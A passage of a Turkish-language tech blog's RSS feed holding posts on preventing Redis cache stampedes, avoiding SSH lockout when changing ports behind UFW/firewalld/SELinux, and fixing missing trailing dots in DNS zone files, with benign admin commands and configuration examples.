                                                ▼ (Yalnızca %0.1 Miss)
                                         [MySQL: CPU %2]

ÇÖKÜŞ ANI (Cache Stampede):
[50.000 İstek/sn] ───► [Nginx / App] ───► [Redis: ÇÖKTÜ / RESTART ATTI!]
                                                │
                                                ▼ (TÜM İSTEKLER AYNI SANİYEDE)
                                         [MySQL: CPU %100 - MAX CONNECTIONS - DÖNGÜSEL KİLİT!]
</code></pre>
<hr>
<h2>Cache Stampede Patolojisi: Dakika Dakika Yıkım</h2>
<p>Pazartesi akşamı büyük bir kampanya başlatılmıştır. Sitede anlık 25.000 aktif ziyaretçi vardır.</p>
<ol>
<li><strong>T = 0. Saniye (Tetikleyici):</strong><br>
Redis sunucusunun RAM'i dolar. Yapılandırmada <code>maxmemory-policy</code> düzgün ayarlanmadığı için Linux Kernel'ın OOM Killer mekanizması Redis sürecini öldürür (<code>SIGKILL</code>). Servis yöneticisi (systemd) Redis'i hemen yeniden başlatır; ancak ayağa kalkan Redis'in belleği bomboştur (<code>Cold Cache</code>).</li>
<li><strong>T + 1. Saniye (Dalga Geliyor):</strong><br>
Aynı saniye içinde siteye gelen 10.000 kullanıcı ana sayfayı yeniler. Uygulama kodundaki o klasik acemi mantık çalışır:
<pre><code class="language-php">// Çoğu projede yazılan intihar kodu:
$products = $redis->get('homepage_products');
if (!$products) {
    // Redis'te yoksa veritabanından çek ve Redis'e yaz!
    $products = $db->query("SELECT * FROM products JOIN categories ... ORDER BY id DESC");
    $redis->set('homepage_products', $products, 3600);
}
</code></pre>
</li>
<li><strong>T + 2. Saniye (Kılcal Damarlar Patlıyor):</strong><br>
Aynı saniyede gelen 10.000 PHP/Node süreci Redis'te anahtarı bulamaz. Bu 10.000 işlemin <strong>TAMAMI AYNI ANDA</strong> veritabanına karmaşık <code>JOIN</code>'li ana sayfa sorgusunu fırlatır!</li>
<li><strong>T + 5. Saniye (Kollaps):</strong><br>
MySQL'in varsayılan bağlantı havuzu (<code>max_connections = 151</code> veya <code>500</code>) anında tükenir. Konsol feryat eder: <code>ERROR 1040 (HY000): Too many connections</code>.<br>
Veritabanı sunucusunun CPU'su anında %100'e vurur, disk I/O kuyruğu (wait) tavan yapar.</li>
<li><strong>T + 10. Saniye (Zincirleme Organ İflası):</strong><br>
Veritabanı yanıt veremediği için arkadaki web servislerinin (PHP-FPM worker'ları) bağlantıları askıda kalır. Nginx upstream kuyruğu dolar ve kullanıcılara <code>502 Bad Gateway</code> ile <code>504 Gateway Time-out</code> basmaya başlar.</li>
<li><strong>Mühendisin Çaresizliği:</strong><br>
Sistem yöneticisi Nginx'i yeniden başlatır; düzelmez. PHP'yi yeniden başlatır; düzelmez. MySQL'i yeniden başlatır; MySQL açılır açılmaz kuyrukta bekleyen binlerce yeni istek tekrar vurur ve MySQL açıldığı saniye yeniden kilitlenir!</li>
</ol>
<p>Masadaki hasta arrest olmuştur; her elektroşokta ritim daha da bozulmaktadır.</p>
<hr>
<h2>Klinik Tedavi: Çözüm Mimarisinin Reçetesi</h2>
<p>Bir önbellek çöküşünün ana veritabanını öldürmesini engellemek, acemi kod bloklarını ortadan kaldırıp kurumsal mimari kalıplarını (architectural design patterns) uygulamakla mümkündür.</p>
<h3>1. Karşılıklı Dışlama Kilidi (Mutex / Distributed Locking)</h3>
<p>Eğer bir veri önbellekte yoksa, o veriyi veritabanından çekme hakkı o anki 10.000 istekten <strong>SADECE BİRİNE</strong> verilmelidir. Diğer 9.999 istek o tek sürecin veritabanından veriyi alıp Redis'e yazmasını beklemelidir.</p>
<pre><code class="language-php">// Dağıtık Kilit (Mutex) Yaklaşımı:
$products = $redis->get('homepage_products');

if (!$products) {
    // Sadece 1 iş parçacığının kilit almasına izin ver (5 saniyelik atomik kilit)
    $lockAcquired = $redis->set('lock:homepage_products', '1', ['NX', 'EX' => 5]);
    
    if ($lockAcquired) {
        // YALNIZCA BU İŞLEM VERİTABANINA GİDER!
        $products = $db->query("SELECT * FROM products ...");
        $redis->set('homepage_products', $products, 3600);
        $redis->del('lock:homepage_products');
    } else {
        // Diğer 9.999 işlem veritabanını vurmaz, 100ms bekleyip Redis'i tekrar okur
        usleep(100000); // 100ms
        $products = $redis->get('homepage_products');
    }
}
</code></pre>
<p>Bu kilit sayesinde veritabanına aynı anda 10.000 sorgu değil, sadece 1 sorgu gider. Veritabanının haberi bile olmaz.</p>
<hr>
<h3>2. Olasılıksal Erken Yenileme (Probabilistic Early Expiration / XFetch)</h3>
<p>Önbellek anahtarlarının belirli bir saniyede (örneğin tam 3600. saniyede) birdenbire yok olması yerine, süre dolmadan hemen önce rastlantısal olarak arka planda yenilenmesi algoritmasıdır.</p>
<p>Bu formül literatürde <strong>XFetch</strong> algoritması olarak bilinir. Bir istek geldiğinde, anahtarın kalan yaşam süresi (TTL) ve veritabanı sorgu maliyeti hesaplanır. Süre dolmaya yaklaştıkça gelen herhangi bir şanslı istek arka planda asenkron olarak veritabanına gidip önbelleği tazeler. Anahtar hiçbir zaman sıfırlanmaz; önbellek daima sıcak kalır.</p>
<h3>3. TTL Jitter (Rastgele Zaman Dağıtımı)</h3>
<p>Geliştiricilerin yaptığı en yaygın hatalardan biri, gece saat 00:00'da tüm ürünleri önbelleğe yazarken hepsine <code>TTL = 3600</code> vermektir. Bu, tam 1 saat sonra tüm ürünlerin önbelleğinin aynı milisaniyede silineceği anlamına gelir.</p>
<p>Anahtarlara TTL verirken her zaman rastgele bir sapma payı (jitter) eklenmelidir:</p>
<pre><code class="language-python"># Hatalı:
ttl = 3600

# Doğru (TTL Jitter):
import random
ttl = 3600 + random.randint(-300, 300) # 3300 ile 3900 saniye arasında dağıtılır
</code></pre>
<p>Bu sayede anahtarların düşüşü zamana yayılır; veritabanı anlık bir tsunamiyle değil, sakin bir çisentiyle karşılaşır.</p>
<hr>
<h3>4. Circuit Breaker (Devre Kesici) Deseni</h3>
<p>Eğer ana veritabanının yanıt süreleri 200 milisaniyenin üzerine çıkarsa veya hata oranı %5'i geçerse, devre kesici (Resilience4j / Istio / Envoy) otomatik olarak devreyi açmalıdır (Open State).</p>
<p>Veritabanına yeni sorgu göndermek tamamen durdurulur. Kullanıcıya veritabanını kitleyecek ağır sorgular yerine:</p>
<ul>
<li>Statik bir yedek veri (stale cache),</li>
<li>Basitleştirilmiş bir ürün listesi,</li>
<li>Veya "Şu an yoğunluk nedeniyle sepet işlemleri kısa süreliğine kuyruğa alınmıştır" nezaket sayfası sunulur.</li>
</ul>
<p>Veritabanı boğularak ölmekten kurtarılır; sistem nefes aldığında devre otomatik olarak kapanır (Closed State).</p>
<h2>Sonuç</h2>
<p>Önbellek katmanları harika birer amortisördür; ancak süspansiyon sisteminiz çöktüğünde aracınızın şasisi asfalta çarpıp parçalanıyorsa ortada bir mühendislik kusuru vardır.</p>
<p>Bir sistemi "Redis varken çok hızlı" diye tasarlamak yetmez; gerçek mühendislik, "Redis öldüğü an bu sistem ayakta kalabiliyor mu?" sorusuna verilen yanıtta gizlidir. Aortunuzu sağlam tutun, ama kılcal damarlarınızı da doğrudan tazyikli kanla patlatmayacak kilit mekanizmalarını mimarinize mutlaka yerleştirin.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>Redis</category>
            <category>Memcached</category>
            <category>Cache Stampede</category>
            <category>MySQL</category>
            <category>Veritabanı</category>
            <category>Yüksek Trafik</category>
            <category>Mimari</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/e-ticarette-redis--memcached-onbelleginin-cokmesiyle-yikilan-ana-veritabani/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[SSH Portunu Değiştirip UFW / Firewalld Kurallarında İzin Vermeyi Unutmak]]></title>
            <link>http://localhost:3000/blog/post/ssh-portunu-degistirip-ufw--firewalld-kurallarinda-izin-vermeyi-unutmak</link>
            <guid>ssh-portunu-degistirip-ufw--firewalld-kurallarinda-izin-vermeyi-unutmak</guid>
            <pubDate>Sat, 24 Jan 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Güvenlik amacıyla SSH portunu 22'den 2222'ye çekip güvenlik duvarında yeni porta izin vermeden terminali kapatarak kendi kurduğu sunucunun tamamen dışında kilitli kalan sistem yöneticileri.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/ssh-portunu-degistirip-ufw--firewalld-kurallarinda-izin-vermeyi-unutmak/thumbnail" alt=""> Hastanenin acil servis ve yoğun bakım girişini düşünün. Gece nöbetinde içeriye yetkisiz şahısların, sarhoşların veya hırsızların girmesini engellemek isteyen güvenlik görevlisi, başhekimlikten habersiz olarak ana giriş kapısının elektronik şifreli kilit mekanizmasını söker. Yerine son model, çift kademeli manyetik bir kilit takar ve yeni bir şifre tanımlar. İşlemi bitirdiğinde kapıyı arkasından sertçe çeker ve kapı kilitlenir. Ancak o an dehşet verici bir gerçeği fark eder: Yeni kartları ve şifreyi personele dağıtmamıştır, kendi şifre kartı da içerideki masanın üzerinde kalmıştır! Tam o sırada dışarıya sirenlerini çalarak bir ambulans yanaşır; sedyede bilinci kapalı, dakikalar içinde entübe edilmesi gereken bir arrest vakası vardır. Güvenlik görevlisi ise kapının camına çaresizce yumruk atmakta, kendi korumaya çalıştığı kalenin kapısında hastayla birlikte kilitli kalmaktadır.</p>
<p>Linux sistem yönetiminde her genç mühendisin kariyerinde en az bir kez yaşadığı o soğuk terleme anı tam olarak bu sahnedir: <code>/etc/ssh/sshd_config</code> dosyasını açıp varsayılan port 22'yi örneğin <code>2222</code> yapmak; ardından <code>systemctl restart sshd</code> deyip mevcut terminal sekmesini kapatmak ve UFW / iptables / firewalld güvenlik duvarında o yeni porta izin vermeyi unuttuğunu fark etmek.</p>
<hr>
<h2>"Security Through Obscurity" (Belirsizlikle Güvenlik) ve Yanılgı</h2>
<p>Linux sunucular internete açıldığı andan itibaren Çin, Rusya, ABD veya Hollanda kaynaklı otomatik botnet'lerin aralıksız hedefi olur. Sunucunun <code>auth.log</code> veya <code>secure</code> kayıtlarına baktığınızda saniyede onlarca başarısız giriş denemesi görürsünüz:</p>
<pre><code class="language-text">Failed password for root from 185.220.101.5 port 41202 ssh2
Failed password for invalid user admin from 45.154.255.88 port 58914 ssh2
</code></pre>
<p>Bu log kirliliğinden ve brute-force saldırılarından rahatsız olan sistem yöneticisi, güvenlik rehberlerinde sıkça rastlanan ilk adımı uygular: <strong>Varsayılan SSH portunu (22) değiştirmek.</strong></p>
<p>Bu işlem brute-force botlarını önemli ölçüde uzaklaştırır; çünkü botların çoğu sadece standart 22. portu tarar. Ancak bu adım tek başına bir güvenlik önlemi değil; yalnızca belirsizliğe dayalı yüzeysel bir filtredir (Security through obscurity). Gerçek güvenlik; güçlü SSH anahtarları (Ed25519), parola ile girişin kapatılması (<code>PasswordAuthentication no</code>) ve Fail2ban/CrowdSec kullanımıyla sağlanır.</p>
<p>Yine de portu değiştirmek yaygın bir pratiktir. Felaket ise bu değişikliğin icra ediliş biçiminde başlar.</p>
<hr>
<h2>Kendi Kapısını Üzerine Kilitleyen Komut Dizisi</h2>
<p>Deneyimsiz bir sistem yöneticisinin terminaldeki adımları genellikle şu ölümcül sırayı takip eder:</p>
<pre><code class="language-bash"># 1. SSH yapılandırması açılır
sudo nano /etc/ssh/sshd_config

# 2. Satır değiştirilir:
Port 2222

# 3. Servis yeniden başlatılır
sudo systemctl restart sshd

# 4. Geliştirici "Temiz bir başlangıç olsun" diyerek terminal sekmesini KAPATIR!
exit
</code></pre>
<p>Geliştirici bilgisayarındaki terminali açar ve yeni portla bağlanmayı dener:</p>
<pre><code class="language-bash">ssh -p 2222 root@sunucu_ip_adresi
</code></pre>
<p>İmleç yanıp söner... 5 saniye, 10 saniye, 30 saniye geçer ve o acımasız hata ekrana düşer:<br>
<code>ssh: connect to host sunucu_ip_adresi port 2222: Connection timed out</code></p>
<p>Geliştirici şüpheyle standart portu dener:</p>
<pre><code class="language-bash">ssh root@sunucu_ip_adresi
# ssh: connect to host sunucu_ip_adresi port 22: Connection refused
</code></pre>
<p>Port 22 kapalıdır; çünkü SSH servisi artık orada dinlememektedir (<code>Connection refused</code>). Port 2222 ise zaman aşımına düşmektedir (<code>Connection timed out</code>); çünkü sunucuda çalışan <strong>UFW (Uncomplicated Firewall)</strong> veya <strong>firewalld</strong>, yeni portu tanımamakta ve gelen tüm TCP paketlerini sessizce çöpe atmaktadır (<code>DROP</code>).</p>
<p>Mühendis kendi kalesinin surları dışında kalmıştır.</p>
<pre><code>                      ┌──────────────────────┐
                      │  Sistem Yöneticisi   │
                      └──────────┬───────────┘
                                 │
                 ssh -p 2222     │
                                 ▼
                    [GÜVENLİK DUVARI (UFW)]
                    - Kural 1: Port 80 (HTTP) -> ALLOW
                    - Kural 2: Port 443 (HTTPS) -> ALLOW
                    - Kural 3: Port 22 (Eski SSH) -> ALLOW
                    - Port 2222 için KURAL YOK! -> DROP (ÇÖP!)
                                 │
                         (Paket Düştü) ❌
                                 │
                   [SSH Servisi (Port 2222)]
                   - İçeride sessizce bekliyor...
                   - Ama kapıdaki nöbetçi kimseyi sokmuyor!
</code></pre>
<hr>
<h2>Masadaki Hastaya Ulaşma Çabaları: Out-of-Band Kurtarma</h2>
<p>Bu kilitlenme yaşandığında internet üzerinden standart yollarla sunucuya ulaşmak imkânsızdır. Eğer fiziksel bir veri merkezindeyseniz monitör ve klavye alıp sunucu kabinine gitmeniz gerekir. Bulut ortamındaysanız (AWS, DigitalOcean, Hetzner, OVH) devreye <strong>Bant Dışı Yönetim (Out-of-Band Management)</strong> girmek zorundadır:</p>
<h3>1. Bulut Web Konsolu / VNC / Serial Console</h3>
<ul>
<li>DigitalOcean Droplet Console, AWS EC2 Serial Console veya Hetzner VNC arayüzü açılır.</li>
<li>Bu konsollar ağ kartını (NIC) baypas ederek doğrudan sanal makinenin donanım ekran kartına ve klavyesine bağlanır.</li>
<li>Buradan kullanıcı adı ve şifreyle giriş yapılarak güvenlik duvarı kuralı eklenir:
<pre><code class="language-bash">sudo ufw allow 2222/tcp
sudo ufw reload
</code></pre>
</li>
</ul>
<h3>2. IPMI / iDRAC / iLO (Fiziksel Sunucular İçin)</h3>
<p>Fiziksel sunucularda anakart üzerindeki bağımsız yönetim yongasına (Dell iDRAC, HP iLO) izole bir yönetim ağı üzerinden bağlanılır ve sanal KVM konsolu başlatılır.</p>
<h3>Ya Bu Arayüzler Yoksa?</h3>
<p>Eğer ucuz bir sanal sunucu (VPS) kullanıyorsanız ve sağlayıcınız bir kurtarma konsolu sunmuyorsa; tek çare sunucuyu <strong>Rescue Mode (Kurtarma Modu)</strong> ile boot edip diski <code>/mnt</code> altına bağlamak, <code>chroot</code> atarak <code>/etc/ssh/sshd_config</code> dosyasını eski haline getirmek ve sunucuyu yeniden başlatmaktır. Bu da en az 30-45 dakikalık planlanmamış bir servis kesintisi demektir.</p>
<hr>
<h2>Altın Kural: İkinci Oturumu Test Etmeden Asla Çıkma!</h2>
<p>Sistem yönetiminin ilk ve en kutsal kuralı şudur: <strong>Mevcut aktif SSH oturumunu, yeni bir terminalden başarılı bir bağlantı kurup doğrulamadan ASLA kapatma!</strong></p>
<p>Linux'ta bir servisi yeniden başlattığınızda (<code>systemctl restart sshd</code>), o an açık olan mevcut SSH oturumunuz kesilmez! Oturum varlığını sürdürür. Bu sayede hata yapsanız bile açık olan oturumunuzdan düzeltme şansınız vardır.</p>
<h3>Kusursuz Port Değiştirme Protokolü</h3>
<p>Bir sunucuda SSH portu değiştirilirken uygulanması gereken profesyonel protokol şu sıralamayı izlemelidir:</p>
<pre><code class="language-bash"># ADIM 1: Önce Güvenlik Duvarında Yeni Porta İzin Verin!
sudo ufw allow 2222/tcp
# Eğer firewalld kullanıyorsanız:
sudo firewall-cmd --permanent --add-port=2222/tcp
sudo firewall-cmd --reload

# ADIM 2: SELinux Varsa Yeni Portu Kaydedin! (CentOS/AlmaLinux/RHEL için hayati)
sudo semanage port -a -t ssh_port_t -p tcp 2222

# ADIM 3: Yapılandırma Dosyasını Düzenleyin
sudo nano /etc/ssh/sshd_config
# Port 2222 yazın ve kaydedin.

# ADIM 4: Sözdizimi Testi Yapın (Hatalı parametre servisi patlatmasın)
sudo sshd -t

# ADIM 5: Servisi Yeniden Başlatın
sudo systemctl restart sshd

# ADIM 6: MEVCUT TERMİNALİ KAPATMAYIN! 
# Yan tarafta YENİ BİR TERMİNAL sekmesi açın ve test edin:
ssh -p 2222 kullanici@sunucu_ip_adresi

# Başarıyla giriş yapıldıysa:
# Tebrikler! Artık eski portu güvenlik duvarından silebilirsiniz:
sudo ufw delete allow 22/tcp
</code></pre>
<hr>
<h2>SELinux Tuzağı: RedHat Dünyasının Görünmez Duvarı</h2>
<p>Debian/Ubuntu kullanıcıları sadece UFW ile uğraşırken, RedHat/CentOS/Rocky Linux kullanıcılarının karşısına çok daha katı bir muhafız çıkar: <strong>SELinux (Security-Enhanced Linux)</strong>.</p>
<p>Güvenlik duvarında port 2222'yi açsanız bile, SELinux politikalarında SSH servisinin yalnızca 22 numaralı portu dinlemesine izin verilmiştir. Siz <code>sshd_config</code> içine <code>Port 2222</code> yazıp servisi yeniden başlattığınızda, SELinux çekirdek düzeyinde soket açılmasını engeller:<br>
<code>systemd[1]: Failed to start OpenSSH server daemon: Permission denied.</code></p>
<p>Bu durumu aşmak için SELinux port etiketini güncellemek zorunludur:</p>
<pre><code class="language-bash">semanage port -a -t ssh_port_t -p tcp 2222
</code></pre>
<p>Aksi takdirde sunucu güvenlik duvarına bile ulaşamadan kendi içinde felç olur.</p>
<h2>Sonuç</h2>
<p>Güvenlik, ardı ardına düşünülmüş senkronize adımlar bütünüdür. Bir kapının kilidini değiştirirken anahtarın çalıştığını test etmeden kapıyı çarpmak cesaret değil, profesyonel körlüktür.</p>
<p>Altyapı mühendisliğinde özgüven değil, kontrol listeleri (checklists) hayat kurtarır. SSH portunu değiştirirken her zaman nöbetçi kapıyı açık tutun, yeni tünelin çalıştığını gözlerinizle görün ve o terminal sekmesini ancak her şeyin yeşil yandığından emin olduğunuzda kapatın.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>SSH</category>
            <category>UFW</category>
            <category>Firewalld</category>
            <category>Linux</category>
            <category>SysAdmin</category>
            <category>Güvenlik Duvarı</category>
            <category>Lockout</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/ssh-portunu-degistirip-ufw--firewalld-kurallarinda-izin-vermeyi-unutmak/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[DNS Zone Dosyasında Nokta (.) Unutkanlığı ve İçe Geçen Domain'ler]]></title>
            <link>http://localhost:3000/blog/post/dns-zone-dosyasinda-nokta--unutkanligi-ve-ice-gecen-domainler</link>
            <guid>dns-zone-dosyasinda-nokta--unutkanligi-ve-ice-gecen-domainler</guid>
            <pubDate>Fri, 23 Jan 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[BIND ve cPanel Zone Editor kayıtlarında alan adının sonundaki o kritik noktayı (.) unutmanın bedeli: mail.site.com.site.com krizleri, çöken MX yönlendirmeleri ve sonsuz DNS döngüleri.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/dns-zone-dosyasinda-nokta--unutkanligi-ve-ice-gecen-domainler/thumbnail" alt=""> Klinik farmakolojide ve acil ilaç uygulamalarında ondalık noktasının (decimal point) yeri, yaşam ile ölüm arasındaki en keskin çizgidir. Yoğun bakımdaki bir bebeğe veya kardiyak şoktaki bir hastaya 0.1 miligram adrenalin vermeniz gerekirken reçeteye o noktayı koymayı unutup ya da silik yazıp "10 mg" yazarsanız, hastaya gereken dozun tam 100 katını verir ve dakikalar içinde ventriküler fibrilasyonla hastayı kaybedersiniz. Tıpta buna "ondalık nokta cinayeti" denir; tek bir noktanın yokluğu tüm formülü ölümcül bir zehre dönüştürür.</p>
<p>İnternet altyapısının temel omurgası olan BIND (Berkeley Internet Name Domain) ve DNS bölge dosyalarında (Zone Files) da durum farksızdır. Sistem yöneticisinin veya web geliştiricisinin DNS kaydı girerken alan adının sonuna koymayı unuttuğu o <strong>tek bir nokta (<code>.</code>)</strong>; trafiği hedefine ulaştırmak yerine alan adının kendi içine kıvrılmasına, iç içe geçmiş bir Frankenstein URL yapısına ve tüm e-posta trafiğinin günlerce karadelikte kaybolmasına yol açar.</p>
<hr>
<h2>FQDN ve Göreli Alan Adı Ayrımı: DNS'in Gizli Grameri</h2>
<p>İnternetin ilk günlerinde (RFC 1035) DNS standartları belirlenirken, bölge dosyalarını yazan yöneticilere kolaylık olsun diye bir sözdizimi kuralı getirildi: <strong>FQDN (Fully Qualified Domain Name - Tam Nitelikli Alan Adı)</strong> ve <strong>Göreli (Relative) Alan Adı</strong> ayrımı.</p>
<p>Kural son derece basittir:</p>
<ul>
<li>Eğer bir alan adının sonu <strong>nokta (<code>.</code>)</strong> ile bitiyorsa, bu bir mutlak ve nihai kök adresidir. DNS sunucusu bu adrese dokunmaz, kök DNS sunucusuna (<code>.</code>) kadar uzanan mutlak adres olduğunu anlar.</li>
<li>Eğer bir alan adının sonu nokta ile <strong>BİTMİYORSA</strong>, DNS sunucusu (BIND/Named) şöyle düşünür: <em>"Bu eksik bir adrestir, yönetici tembellik etmiş. Ben bunun sonuna bu bölgenin kök alan adını (<code>$ORIGIN</code>) otomatik olarak eklemeliyim."</em></li>
</ul>
<pre><code class="language-text">$ORIGIN example.com.

# SENARYO 1: Nokta VAR (FQDN - Mutlak Adres)
mail.example.com.   IN   CNAME   ghs.googlehosted.com.
--> DNS Sunucusu: "ghs.googlehosted.com." adresine dokunmaz. Mükemmel!

# SENARYO 2: Nokta UNUTULDU! (Göreli Adres Felaketi)
mail.example.com    IN   CNAME   ghs.googlehosted.com
--> DNS Sunucusu: "Aha! Sonunda nokta yok. O zaman $ORIGIN ekliyorum!"
--> Ortaya çıkan canavar:
    mail.example.com.example.com.  IN  CNAME  ghs.googlehosted.com.example.com.
</code></pre>
<p>Evet; DNS sunucusu sizin ne kastettiğinizi tahmin etmeye çalışmaz. RFC standartlarına sadık bir robot gibi, sonuna nokta koymadığınız her string'in ucuna <code>@</code> (yani <code>example.com.</code>) etiketini zımbalar!</p>
<hr>
<h2>Patolojinin Gelişimi: İçe Geçen Domain'ler ve Çöken İletişim</h2>
<p>Şirketin yeni sistem yöneticisi veya ajans geliştiricisi, kurumsal e-postaları Google Workspace'e veya Microsoft 365'e bağlamak üzere cPanel / DirectAdmin / BIND Zone Editor'ü açar.</p>
<p>Müşterinin alan adı: <code>sirket.com.tr</code></p>
<p>Yazılması gereken CNAME kaydı:<br>
<code>autodiscover.sirket.com.tr. IN CNAME autodiscover.outlook.com.</code></p>
<p>Ancak geliştirici şöyle yazar:<br>
<code>autodiscover IN CNAME autodiscover.outlook.com</code> (Sonunda nokta yok!)</p>
<h3>1. Ne Olduğunu Anlayamayan İstemciler</h3>
<p>Outlook veya kurumsal mail istemcisi <code>autodiscover.sirket.com.tr</code> adresini çözümlemek için DNS sorgusu atar. DNS sunucusu yanıt verir:<br>
<code>CNAME -> autodiscover.outlook.com.sirket.com.tr.</code></p>
<p>Dünyada <code>autodiscover.outlook.com.sirket.com.tr</code> diye bir adres yoktur! İstemci <code>NXDOMAIN (Non-Existent Domain)</code> hatası alır. Outlook kurulum ekranı döner durur, sunucuya bağlanamaz ve "E-posta sunucusu bulunamadı" uyarısı verir.</p>
<h3>2. MX Kayıtlarında Nokta Unutmak: E-Posta Karadeliği</h3>
<p>Daha da korkuncu MX (Mail Exchanger) kayıtlarında yaşanır:</p>
<pre><code class="language-text"># Hatalı Giriş:
sirket.com.tr.   IN   MX   10   mail.sirket.com.tr
</code></pre>
<p>DNS sunucusu bunu derhal şu hale getirir:<br>
<code>10 mail.sirket.com.tr.sirket.com.tr.</code></p>
<p>Dünyadaki diğer mail sunucuları (Gmail, Hotmail, Yandex) bu şirkete e-posta göndermek istediğinde DNS'e sorar: <em>"sirket.com.tr'nin posta sunucusu neresi?"</em><br>
DNS sunucusu gururla yanıtlar: <em>"mail.sirket.com.tr.sirket.com.tr!"</em></p>
<p>Karşı sunucu bu adresi çözemez ve e-postayı reddeder:<br>
<code>550 5.1.2 Host unknown; Name service error for name=mail.sirket.com.tr.sirket.com.tr type=A: Host not found</code></p>
<p>Şirketin tüm gelen e-postaları 48 saat boyunca buharlaşır; müşterilere hata raporları (bounce message) yağar.</p>
<hr>
<h2>cPanel ve Modern Web Panellerinin İki Yüzü</h2>
<p>Birçok modern web paneli (cPanel Zone Editor, Plesk, Cloudflare) kullanıcı dostu olmaya çalışırken bu kafa karışıklığını daha da derinleştirir.</p>
<ul>
<li><strong>Cloudflare DNS:</strong> Oldukça moderndir; kutucuğa nokta koysanız da koymasanız da bunu anlar ve arkada normalize eder. Kullanıcıyı bu hatadan korur.</li>
<li><strong>cPanel / WHM Zone Editor:</strong> Eski BIND altyapısını çalıştırır. Eğer arayüzde bir CNAME veya MX hedefi girerken tam alan adı yazıyorsanız ve sonuna nokta koymazsanız, cPanel bunu sessizce kaydeder ve arka plandaki <code>/var/named/sirket.com.tr.db</code> dosyasına doğrudan göreli kayıt olarak işler!</li>
</ul>
<p>Geliştirici ekranda <code>autodiscover.outlook.com</code> yazdığını görür ve her şeyin doğru olduğunu zanneder. Oysa arka planda DNS zone dosyası zehirlenmiştir.</p>
<hr>
<h2>Tanı ve Teşhis: Terminalde Dedektiflik</h2>
<p>Bu patolojiyle karşılaşıldığında yapılacak ilk iş tarayıcıdan çıkıp terminale geçmek ve DNS sorgusunu doğrudan sorgulamaktır.</p>
<pre><code class="language-bash"># Alan adının CNAME kaydını doğrudan yetkili sunucudan sorgulayın:
dig CNAME autodiscover.sirket.com.tr @ns1.sirket.com.tr +short

# Dönen Yanıt Şoke Edicidir:
# autodiscover.outlook.com.sirket.com.tr.
</code></pre>
<p>Eğer dönen yanıtta alan adınızın ikinci kez kendi kuyruğunu ısırdığını (Ouroboros gibi) görüyorsanız; teşhis kesindir: <strong>Trailing Dot (Sondaki Nokta) Unutkanlığı.</strong></p>
<pre><code>                           ┌────────────────────────┐
                           │   DNS Bölge Dosyası    │
                           └───────────┬────────────┘
                                       │
                         Sonunda '.' Var mı?
                                       │
                     ┌─────────────────┴─────────────────┐
                     ▼                                   ▼
                   [EVET]                              [HAYIR]
             autodiscover.com.                   autodiscover.com
                     │                                   │
                     ▼                                   ▼
          Nihai FQDN Kabul Edildi              $ORIGIN Otomatik Eklendi!
          (Hedefe Başarıyla Ulaşır)            autodiscover.com.sirket.com.tr
                                               (Kollaps &#x26; NXDOMAIN) ❌
</code></pre>
<hr>
<h2>Cerrahi Düzeltme ve Önleyici Protokol</h2>
<p>Bu arızayı düzeltmek saniyeler sürer; ancak DNS önbellekleri (TTL) yüzünden etkilerinin silinmesi saatler alabilir.</p>
<h3>1. Zone Dosyasında Noktayı Yerine Koyun:</h3>
<pre><code class="language-text"># Yanlış:
mail.sirket.com.tr    IN   CNAME   ghs.googlehosted.com

# Doğru (Ya sol tarafı kısaltın ya da her iki tarafın sonuna nokta koyun):
mail                  IN   CNAME   ghs.googlehosted.com.
# Veya tam FQDN ile:
mail.sirket.com.tr.   IN   CNAME   ghs.googlehosted.com.
</code></pre>
<h3>2. Serial Numarasını Artırın (ÇOK ÖNEMLİ!):</h3>
<p>Eğer BIND dosyasını elle düzenliyorsanız (<code>/var/named/...</code>), SOA (Start of Authority) kaydındaki <strong>Serial Number</strong> değerini 1 artırmayı unutmayın:</p>
<pre><code class="language-text">2026012301 ; Serial (YYYYMMDDNN)
</code></pre>
<p>Serial numarasını artırmazsanız, ikincil DNS sunucuları (Slave/Secondary DNS) zone dosyasının değiştiğini fark etmez ve eski hatalı zone dosyasını dünyaya sunmaya devam eder!</p>
<h3>3. Named Servisini Yeniden Yükleyin ve Kontrol Edin:</h3>
<pre><code class="language-bash">named-checkzone sirket.com.tr /var/named/sirket.com.tr.db
# OK yanıtını görünce:
rndc reload sirket.com.tr
</code></pre>
<h2>Sonuç</h2>
<p>DNS, internetin en eski, en katı ve en affetmez protokollerinden biridir. Orada yapay zekanın "kullanıcı ne demek istedi acaba" tahminlerine yer yoktur; kurallar 1987 yılında RFC 1035 ile mermere kazınmıştır.</p>
<p>Reçetedeki tek bir noktanın hastayı öldürebileceği gibi; DNS kaydındaki tek bir noktanın yokluğu da milyon dolarlık bir e-ticaret veya kurumsal operasyonun iletişim damarlarını tıkayabilir. Zone editörünü her açtığınızda o minik noktaya bir neşter hassasiyetiyle bakın; çünkü sistem mühendisliği, büyük sunucuları yönetmekten çok bu milimetrik ayrıntılara sadık kalma sanatıdır.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>DNS</category>
            <category>BIND</category>
            <category>Zone File</category>
            <category>CNAME</category>
            <category>Ağ Yönetimi</category>
            <category>DevOps</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/dns-zone-dosyasinda-nokta--unutkanligi-ve-ice-gecen-domainler/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Sunucuda Log Rotasyonunu (logrotate) Ayarlamayı Unutmak]]></title>
            <link>http://localhost:3000/blog/post/sunucuda-log-rotasyonunu-logrotate-ayarlamayi-unutmak</link>
            <guid>sunucuda-log-rotasyonunu-logrotate-ayarlamayi-unutmak</guid>
            <pubDate>Thu, 22 Jan 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Nginx, Apache veya mikroservislerin erişim loglarını sınırlandırmayıp diski dolduran ve gecenin bir yarısı MySQL'in çökmesiyle tüm üretimi durduran unutulmuş logrotate kabusu.]]></description>
